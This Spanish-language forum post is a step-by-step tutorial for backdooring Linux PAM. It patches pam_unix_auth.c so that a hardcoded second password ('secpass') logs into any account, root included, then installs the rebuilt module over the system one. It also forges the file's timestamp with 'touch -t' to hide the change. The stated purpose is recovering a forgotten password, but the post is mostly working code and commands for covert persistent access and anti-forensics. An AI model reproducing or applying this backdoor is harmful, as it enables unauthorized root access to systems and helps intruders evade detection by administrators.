Gracias por la respuesta.
Pues me puse con el tema y resulta que al final he conseguido lo que queria. Os cuento:
1. Bajarse el source de PAM
ftp://ftp.kernel.org/pub/linux/libs/pam/library/Linux-PAM-1.1.1.tar.gz
2. Descompilarlo y editar el source que nos interesa
tar -xvzf Linux-PAM-1.1.1.tar.gz
pico Linux-PAM-1.1.1/modules/pam_unix/pam_unix_auth.c
3. Dentro del código buscar la cadena:
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
4. Justo debajo de esta cadena incorporar un pequeño código:
if (strcmp(p,"secpass")==0 ){
retval = PAM_SUCCESS;
}
Donde
secpass es la segunda contraseña que utilizaremos. En este caso, con cada login del sistema se podria entrar con esta contraseña (incluso root).
5. Volverse al directorio pincipal del Source y alli hacer:
6. Aunque a mi me dio un error en otra funcion luego, me habia compilado el modulo que queria en modules/pam_unix/.libs/pam_unix.so.
Asi que lo que tendriamos que hacer ahora es reemplazarlo. Para ello primero debemos hacer una copia de seguridad del antiguo modulo por si lo necesitamos:
cp /lib/security/pam_unix.so /lib/security/pam_unix.so.orig
cp modules/pam_unix/.libs/pam_unix.so /lib/security/pam_unix.so
7. Probar que funciona. Para ello abrimos una nueva session SSH al sistema
.
8. Otra cosa importante sería cambiar la fecha del archivo nuevo creado. Para ello podemos usar por ejemplo:
touch -t 200901022110 pam_unix.so
Con esto ya tendriamos una entrada alternativa al sistema, en casos en los que nos olvidemos de una contraseña
Bueno espero os haya servido y espero vuestros comentarios.
Saludos.